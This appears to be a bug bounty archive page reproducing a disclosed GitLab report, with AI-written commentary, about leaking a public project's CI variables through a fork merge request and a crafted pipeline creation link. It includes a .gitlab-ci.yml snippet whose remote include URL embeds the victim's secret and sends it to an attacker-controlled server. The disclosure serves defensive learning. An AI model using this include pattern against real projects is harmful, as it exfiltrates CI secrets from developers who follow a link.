Skip to content
Info disclosure Disclosed report Intermediate

Backend: Leaking CI variables by visiting the pipeline new page via fork MRs

A public project's CI variables could be leaked when a developer visited a crafted pipeline creation URL referencing a fork merge request. The attacker's fork contained a CI configuration that included a remote file whose URL embedded the victim's CI variable, causing the variable to be sent to the attacker's server.

GitLab

Originally disclosed on GitLab

  • Fixed in 3 months
  • Disclosed after 3 months

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2031741 by shells3c on 2023-06-19, assigned to @ottilia_westerlund:

Report | How To Reproduce

Report

SSOT

Refer to https://gitlab.com/gitlab-org/gitlab/-/issues/417275

Summary

Just by visiting a link crafted by the attacker, developers can leak CI variables to the outside

Steps to reproduce
  1. Setup a web server
  2. Create a public project with a CI variable, let's say PASSWORD
  3. Using another account (attacker), fork the project, add (or edit) .gitlab-ci.yml:
YAML
include:  
  remote: 'https://<your_server>/${PASSWORD}.yaml'  
  1. Copy the commit SHA and create a merge request with that change (to the victim project)
  2. The following URL is the attack vector: https://gitlab.com/<victim_project_path>/-/pipelines/new?ref=<copied_sha>

If the victim visits this link, the CI variable will be sent to the attacker's server. You can try it out by accessing the URL from the victim account

Output of checks

This bug happens on GitLab.com

Impact

Developers can leak CI variables of their project by visiting a link

How To Reproduce

Please add reproducibility information to this section:

<!-- triage-serverless v3 PLEASE DO NOT REMOVE THIS SECTION -->

This page may contain information related to upcoming products, features and functionality. It is important to note that the information presented is for informational purposes only, so please do not rely on the information for purchasing or planning purposes. Just like with all projects, the items mentioned on the page are subject to change or delay, and the development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc.

<!-- triage-serverless v3 PLEASE DO NOT REMOVE THIS SECTION -->

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the pipeline creation page allowed a merge request from a fork to be selected and its CI configuration to be evaluated with the victim project's CI variables before any trust check.

Impact

Developers could leak their project's CI variables by visiting a link, but the text does not state whether any defence limited the exploit.

What the attacker needed

Victim project is public; victim project has a CI variable; attacker has a GitLab account; victim visits the crafted link

How it was found

  1. Set up a web server controlled by the attacker.
  2. Create a public project with a CI variable such as PASSWORD.
  3. Fork the project from another account and add a CI configuration that includes a remote file whose URL contains the variable.
  4. Copy the commit SHA and open a merge request to the victim project with that change.
  5. Send the victim a pipeline creation URL that references the copied SHA.
  6. When the victim visits the link, the CI variable is sent to the attacker's server.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An attacker could trick a developer into visiting a link that made the build system send CI secrets to a server the attacker controls.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.